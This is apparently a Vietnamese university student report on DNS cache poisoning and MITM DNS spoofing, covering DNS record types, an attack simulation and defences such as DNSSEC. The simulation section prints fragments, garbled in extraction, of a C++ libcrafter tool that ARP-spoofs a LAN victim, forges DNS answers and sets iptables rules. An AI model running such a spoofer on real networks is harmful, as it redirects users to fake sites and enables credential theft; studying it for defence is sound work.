TRƯỜNG ĐẠI HỌC BÁCH KHOA HÀ NỘI
VIỆN CÔNG NGHỆ THÔNG TIN VÀ TRUYỀN THÔNG
BÁO CÁO
BÀI TẬP LỚN AN TOÀN & BẢO MẬT
THÔNG TIN
PHƯƠNG PHÁP TẤN CÔNG ĐẦU ĐỘC DNS
VÀ GIẢI PHÁP PHÒNG CHỐNG
Giảng viên hướng dẫn : TS. Trần Đức Khánh
Nhóm sinh viên
: Nhóm 31
MỤC LỤC
Phương pháp tấn công đầu độc DNS & giải pháp phòng chống
CHƯƠNG I
TỔNG QUAN VỀ HỆ THỐNG DNS
1.1 DNS là gì?
DNS (Domain Name System), là Hệ thống tên miền được phát minh vào
năm 1984 cho Internet, chỉ một hệ thống cho phép thiết lập tương ứng giữa địa
chỉ IP và tên miền. Hệ thống tên miền (DNS) là một hệ thống đặt tên theo thứ tự
cho máy vi tính, dịch vụ, hoặc bất kì nguồn lực tham gia vào Internet. Nó liên
kết nhiều thông tin đa dạng với tên miền được gán cho những người tham gia.
Quan trọng nhất là, nó chuyển tên miền có ý nghĩa cho con người vào số định
danh (nhị phân), liên kết với các trang thiết bị mạng cho các mục đích định vị và
Nhìn chung, Hệ thống tên miền cũng lưu trữ các loại thông tin khác, chẳng
hạn như danh sách các máy chủ email mà chấp nhận thư điện tử cho một tên
miền Internet. Bằng cách cung cấp cho một thế giới rộng lớn, phân phối từ khóa
– cơ sở của dịch vụ đổi hướng , Hệ thống tên miền là một thành phần thiết yếu
cho các chức năng của Internet. Các định dạng khác như các thẻ RFID, mã số
UPC, kí tự Quốc tế trong địa chỉ email và tên máy chủ, và một loạt các định
dạng khác có thể có khả năng sử dụng DNS
1.2 Các đặc điểm của DNS
DNS là sử dụng cơ sở dữ liệu dạng phân tán được tổ chức theo mô hình
cây (hierarchical):
Cơ sở dữ liệu phân tán và phân cấp:
Hình 1 – Cấu trúc phân cấp và phân tán hệ thống DNS
Nhóm 09 – K54
3
Trang
Phương pháp tấn công đầu độc DNS & giải pháp phòng chống
Hình 2 – Phân tán các subdomain
1.3 Nguyên lý hoạt động của hệ thống DNS
DNS hoạt động theo hình thức truy vấn và đáp trả (Query/response).
Khi máy chủ DNS nhận được yêu cầu phân giải địa chỉ (request) từ
máy trạm, nó sẽ tra cứu bộ đêm (Cache) và trả về địa chỉ IP tương ứng.
5
Trang
Phương pháp tấn công đầu độc DNS & giải pháp phòng chống
1.4 Các bản ghi của DNS
1.4.1 Bản ghi kiểu A
Bản ghi kiểu A được dùng để khai báo ánh xạ giữa tên của một máy tính trên
mạng và địa chỉ IP tương ứng của nó. Nói cách khác, bản ghi kiểu A chỉ ra tên
và điạ chỉ IP của một máy tính trên mạng.
Bản ghi kiểu A có cú pháp như sau: domain IN A <địa chỉ IP của máy>
Ví dụ: home.vnn.vn IN A 203.162.0.12
Theo ví dụ trên, tên miền home.vnn.vn được khai với bản ghi kiểu A trỏ đến địa
chỉ 203.162.0.12 sẽ là tên của máy tính này. Một tên miền có thể được khai
nhiều bản ghi kiểu A khác nhau để trỏ đến các địa chỉ IP khác nhau. Như vậy có
thể có nhiều máy tính có cùng tên trên mạng. Ngược lại một máy tính có một địa
chỉ IP có thể có nhiều tên miền trỏ đến, tuy nhiên chỉ có duy nhất một tên miền
được xác định là tên của máy, đó chính là tên miền được khai với bản ghi kiểu A
trỏ đến địa chỉ của máy.
1.4.2 Bản ghi kiểu AAAA
Bản ghi kiểu AAAA được dùng để chuyển đổi từ tên miền sang địa chỉ IPv6.
Giống như bản ghi kiểu A trong địa chỉ IPv4, một tên miền có thể được khai
nhiều bản ghi kiểu AAAA khác nhau để trỏ đến các địa chỉ IPv6 khác nhau.
Bản ghi kiểu AAAA có cú pháp như sau:
domain IN AAAA <địa chỉ IPv6 của máy>
Ví dụ: ipv6.vnnic.net IN AAAA 2001:dc8:5::115
Khai báo trên cho thấy tên miền ipv6.vnnic.net là tên được đặt cho máy tính
• mail.vnn.vn: là tên của trạm chuyển tiếp thư điện tử, nó thực tế là tên
của máy tính dùng làm trạm chuyển tiếp thư điện tử.
• 10 : Là giá trị ưu tiên, giá trị ưu tiên có thể là một số nguyên bất kỳ từ
1đến 255, nếu giá trị ưu tiên này càng nhỏ thì trạm chuyển tiếp thư
điện tử được khai báo sau đó sẽ là trạm chuyển tiếp thư điện tử được
chuyển đến đầu tiên.
Ví dụ nếu khai báo
-
vnn.vn IN MX 10 mail.vnn.vn
-
vnn.vn IN MX 20 backupmail.vnn.vn
Nhóm 09 – K54
7
Trang
Phương pháp tấn công đầu độc DNS & giải pháp phòng chống
Thì tất cả các thư điện tử có cấu trúc địa chỉ [email protected] trước hết sẽ được
gửi đến trạm chuyển tiếp thư điện tử mail.vnn.vn. Chỉ trong trường hợp máy chủ
mail.vnn.vn không thể nhận thư thì các thư này mới được chuyển đến trạm
chuyển tiếp thư điện tử backupmail.vnn.vn.
số điện thoại xác định. Những dịch vụ này được xác định và lựa chọn bởi khách
hàng.
Ví dụ về khai báo bản ghi NAPTR:
<tên miền> IN NAPTR <thứ tự> <mức ưu tiên> <cờ> <dịch vụ> <thay thế>
5.1.1.6.2.2.8.4.4.8.e164.arpa IN NAPTR 10 10 “u” “mailto+E2U” “!^.*$!
mailto:[email protected]!”
Với khai báo trên khi thực hiện gọi số +84-4-8226115 thì ta sẽ thu
được mailto:[email protected]. Với bản ghi này có thể triển khai dịch vụ dựa
trên hệ thống máy chủ DNS như ENUM và có thể mang lại sự hội tụ giữa viễn
thông và Internet trong tương lai.
CHƯƠNG II
TẤN CÔNG ĐẦU ĐỘC DNS
2.1 Điểm yếu của hệ thống DNS
Như đã mô tả ở trên, DNS là giao thức phân giải địa chỉ, dùng để ánh xạ
giữa tên miền (Domain) sang địa chỉ Internet (IP).
Theo giao thức này, máy chủ DNS khi nhận được yêu cầu phân giải địa chỉ
(request) từ máy trạm, nó sẽ tra cứu trong bộ đêm (cache) và trả về địa chỉ IP
tương ứng với tên miền mà máy trạm yêu cầu.
Nhóm 09 – K54
9
Trang
Phương pháp tấn công đầu độc DNS & giải pháp phòng chống
Nhóm 09 – K54
11
Trang
Phương pháp tấn công đầu độc DNS & giải pháp phòng chống
Chương III: Phương Pháp Tấn Công Man – In – The –
Middle (MITM) – Giả mạo DNS
3.1 Tổng quan:
Giả mạo DNS là một kỹ thuật MITM được sử dụng nhằm cung cấp thông
tin DNS sai cho một host để khi người dùng duyệt đến một địa chỉ nào đó, ví
dụ, www.google.com.vn có IP XXX.XX.XX.XX, thì cố gắng này sẽ được
gửi đến một địa chỉ www.bachkhoa.com giả mạo cư trú ở địa chỉ IP
YYY.YY.YY.YY, đây là địa chỉ mà kẻ tấn công đã tạo trước để đánh cắp các
thông tin như : tài khoản ngân hàng trực tuyến từ người dùng, mật khẩu của
các trang web,... Tấn công này có thể thực hiện khá dễ dàng và trong bài báo
cáo này nhóm chúng em sẽ đi trình bày cách làm việc của nó, cách nó thực
hiện tấn công thế nào và cuối cùng là cách chống trả ra sao.
Nạn nhân của cuộc tấn công không cần phải chạy một hệ điều hành có độ
bảo mật thấp dễ bị tấn công, cũng không cần chạy một chương trình độc hại
nào mà MITM có thể tấn công bất cứ nơi nào đang có 2 máy giao tiếp với
nhau.
Trong bài báo cáo của chúng em sẽ trình bầy phương pháp tấn công 1
máy trong mạng lan (có địa chỉ IP là 192.168.1.8 ). Máy nạn nhân sẽ bị lắng
nghe mọi truy cập tới một Web bất kì nào và mọi cố gắng vào địa chỉ
google.com.ar đều bị điều hướng đến địa chỉ IP: 1.2.3.4
Để tấn công, trước khi máy A kịp nhận các gói tin trả lời từ máy B,
hacker gửi liên tiếp các gói tin giả mạo trả lời của máy B tới cổng
cố định nói trên của A. Chỉ cần 1 trong các gói tin giả mạo có TID
trùng với TID mà máy A đang chờ, thì gói tin giả mạo sẽ được máy
A chấp nhận là gói tin hợp lệ và cập nhật vào bộ đệm của A. Lúc
này, gói tin trả lời thật từ máy B sẽ không được máy A xử lý nữa.
Bằng cách này, hacker có thể đầu độc bộ đệm của máy A, để ánh xạ
tên miền bị tấn công sang 1 địa chỉ IP mà hacker chỉ định.
13
Trang
Phương pháp tấn công đầu độc DNS & giải pháp phòng chống
Cơ chế tấn công Man – In – The – Middle – Giả mạo DNS
Nhóm 09 – K54
14
Trang
Phương pháp tấn công đầu độc DNS & giải pháp phòng chống
3.3 Mô phỏng tấn công MITM – Giả mạo DNS
3.3.1 Mô phỏng
#include
#include
<iostream>
<string>
<crafter.h>
<signal.h>
<map>
/* Collapse name spaces */
using namespace std;
using namespace Crafter;
/* Structure for save MAC addresses */
struct HostInfo {
/* Interface */
string iface;
/* IP address of the DNS server */
string dns_ip;
/* IP address of the victim */
string victim_ip;
/* MAC address of the device which is a DNS server (or the router if the
DNS server is not in our local network) */
string dns_mac;
/* MAC address of the victim */
string victim_mac;
/* My MAC address */
string my_mac;
};
/* Global map of IP-HOSTS pairs */
map<string,string> spoof_list;
Trang
Phương pháp tấn công đầu độc DNS & giải pháp phòng chống
spoof_list["google"] = "1.2.3.4";
spoof_list["proxy"] = "3.3.3.3";
/* Create a HostInfo structure */
host_info->iface = iface;
host_info->dns_ip = dns_ip;
host_info->victim_ip = victim_ip;
host_info->dns_mac = GetMAC(dns_ip,iface);
host_info->victim_mac = GetMAC(victim_ip,iface);
host_info->my_mac = GetMyMAC(iface);
/* Before the attack, execute the IPTABLES "script" */
iptables_block(iface,victim_ip,dst_port);
/* Start the ARP spoofing */
ARPContext* context = ARPSpoofingRequest(dns_ip,victim_ip,iface);
/* Print data about the spoofing, and wait a few seconds */
PrintARPContext(*context);
sleep(3);
/* Create a sniffer
*/
sniff = new Sniffer("udp and host " + victim_ip + " and port " +
StrPort(dst_port),iface,DNSSpoofer);
/* Now, spawn the capture */
void* sniffer_arg = static_cast<void*>(host_info);
sniff->Spawn(-1, sniffer_arg);
cout
Phương pháp tấn công đầu độc DNS & giải pháp phòng chống
/* Checks if the source MAC is not mine */
if(ether_layer->GetSourceMAC() != host_data->my_mac) {
/* Checks if the packet is coming from the victim... */
if(ip_layer->GetSourceIP() == host_data->victim_ip) {
/* Get the RawLayer */
RawLayer* raw_layer = GetRawLayer(*sniff_packet);
/* Create a DNS header */
DNS dns_req;
/* And decode it from a raw layer */
dns_req.FromRaw(*raw_layer);
/* Check if the DNS packet is a query and there is a
question on it... */
if( (dns_req.GetQRFlag() == 0) &&
(dns_req.Queries.size() > 0) ) {
/* Get the host name to be resolved */
string hostname = dns_req.Queries[0].GetName();
/* Print information */
cout
string::npos) {
cout
Trang
Phương pháp tấn công đầu độc DNS & giải pháp phòng chống
/* Send the spoofed answer */
if(spoof) {
/* Pop the top layer... */
sniff_packet->PopLayer();
/* ... and put the DNS spoof answer just created
*/
*sniff_packet /= dns_req;
/* +++++ Ethernet Layer */
/* Send the packet to the victim */
ether_layer->SetDestinationMAC(host_data>victim_mac);
/* And put our MAC ad a source */
ether_layer->SetSourceMAC(host_data->my_mac);
/* +++++ IP Layer */
/* Get DNS server IP address */
string dns_ip = ip_layer->GetDestinationIP();
/* Send the packet to the victim IP */
ip_layer->SetDestinationIP(host_data>victim_ip);
/* PUt the dns IP address as a source IP */
ip_layer->SetSourceIP(dns_ip);
/* +++++ UDP Layer */
/* Swap the destinations and source port */
short_word src_port = udp_layer->GetSrcPort();
short_word dst_port = udp_layer->GetDstPort();
udp_layer->SetSrcPort(dst_port);
udp_layer->SetDstPort(src_port);
Phương pháp tấn công đầu độc DNS & giải pháp phòng chống
}
}
void iptables_block(const string& iface, const string& victim_ip, int dst_port)
{
/* Activate IP forwarding */
system("/bin/echo 1 > /proc/sys/net/ipv4/ip_forward");
/* Drop packets sent to or received from a http server (for victim IP
address) */
system(string("/sbin/iptables -A FORWARD -s " + victim_ip +
" -p udp --dport " + StrPort(dst_port) + " -j
DROP").c_str());
system(string("/sbin/iptables -A FORWARD -d " + victim_ip +
" -p udp --sport " + StrPort(dst_port) + " -j
DROP").c_str());
/* Remember that libcrafter doesn't mind about local firewalls rules...
*/
}
void iptables_flush(const string& iface, const string& victim_ip, int dst_port)
{
/* Disable IP forwarding */
system("/bin/echo 0 > /proc/sys/net/ipv4/ip_forward");
/* Delete the rules */
system(string("/sbin/iptables -D FORWARD -s " + victim_ip +
" -p udp --dport " + StrPort(dst_port) + " -j
DROP").c_str());
system(string("/sbin/iptables -D FORWARD -d " + victim_ip +
" -p udp --sport " + StrPort(dst_port) + " -j
DROP").c_str());
IP: 1.2.3.4
Nhóm 09 – K54
22
Trang
Phương pháp tấn công đầu độc DNS & giải pháp phòng chống
Nhóm 09 – K54
23
Trang
Phương pháp tấn công đầu độc DNS & giải pháp phòng chống
Chương 4: Phòng chống giả mạo DNS
Khá khó phòng chống việc giả mạo DNS vì có khá ít các dấu hiệu tấn công.
Thông thường, bạn không hề biết DNS của mình bị giả mạo cho tới khi điều đó
xảy ra. Những gì bạn nhận được là một trang web khác hoàn toàn so với những
gì mong đợi. Trong các tấn công với chủ đích lớn, rất có thể bạn sẽ không hề
biết rằng mình đã bị lừa nhập các thông tin quan trọng của mình vào một
website giả mạo cho tới khi nhận được cuộc gọi từ ngân hàng hỏi tại sao bạn lại
rút nhiều tiền đến vậy. Mặc dù khó nhưng không phải không có biện pháp nào
có thể phòng chống các kiểu tấn công này, đây là một sô thứ bạn cần thực hiện:
4.1 Bảo vệ các máy tính bên trong của bạn
tên miền, giao thức làm việc giữa các máy chủ DNS với nhau, vừa đáp ứng được
các yêu cầu bảo mật, tăng cường khả năng dự phòng cho hệ thống.
Vì vậy, việc triển khai DNSSEC là cần thiết để đảm bảo an toàn cho hệ
thống DNS, các dịch vụ trực tuyến trên Internet.
4.4 Kiểm tra lỗ hổng DNS Cache Poisoning
Ta có thể sử dụng phần mềm BkavDNSCheck để kiểm tra xem máy chủ
DNS của mình có lỗ hổng DNS Cache Poisoning hay không. Và thực hiện các
biện pháp vá lỗi cần thiết để bảo vệ DNS server.
Giới thiệu sơ lược về phần mềm BkavDNSCheck:
- Xuất xứ: Do Trung tâm An ninh mạng Bách Khoa (Bkis) phát hành vào ngày
25/07/2008.
- Tính năng: Cho phép kiểm tra, phát hiện hệ thống máy chủ DNS có lỗ hổng
Subdomain Exploit DNS Cache Poisoning hay không.
- Link download: http://www.bkav.com.vn/DNSCheck/BkavDNSCheck.exe
- Cùng với việc phát hành phần mềm này, Bkis cũng hướng dẫn cách vá lỗ hổng
để tránh nguy cơ bùng phát các cuộc tấn công vào hệ thống DNS tại Việt Nam.
Ngoài ra, ta còn có thể sử dụng một số phần mềm khác để bảo vệ máy tính
khỏi các cuộc tấn công DNS Cache Poisoning như:
• Hitman
Pro
(32bit
and
64bit
versions):
http://www.surfright.nl/en/products/
• Kaspersky Labs TDSSKiller:
http://support.kaspersky.com/faq/?qid=208283363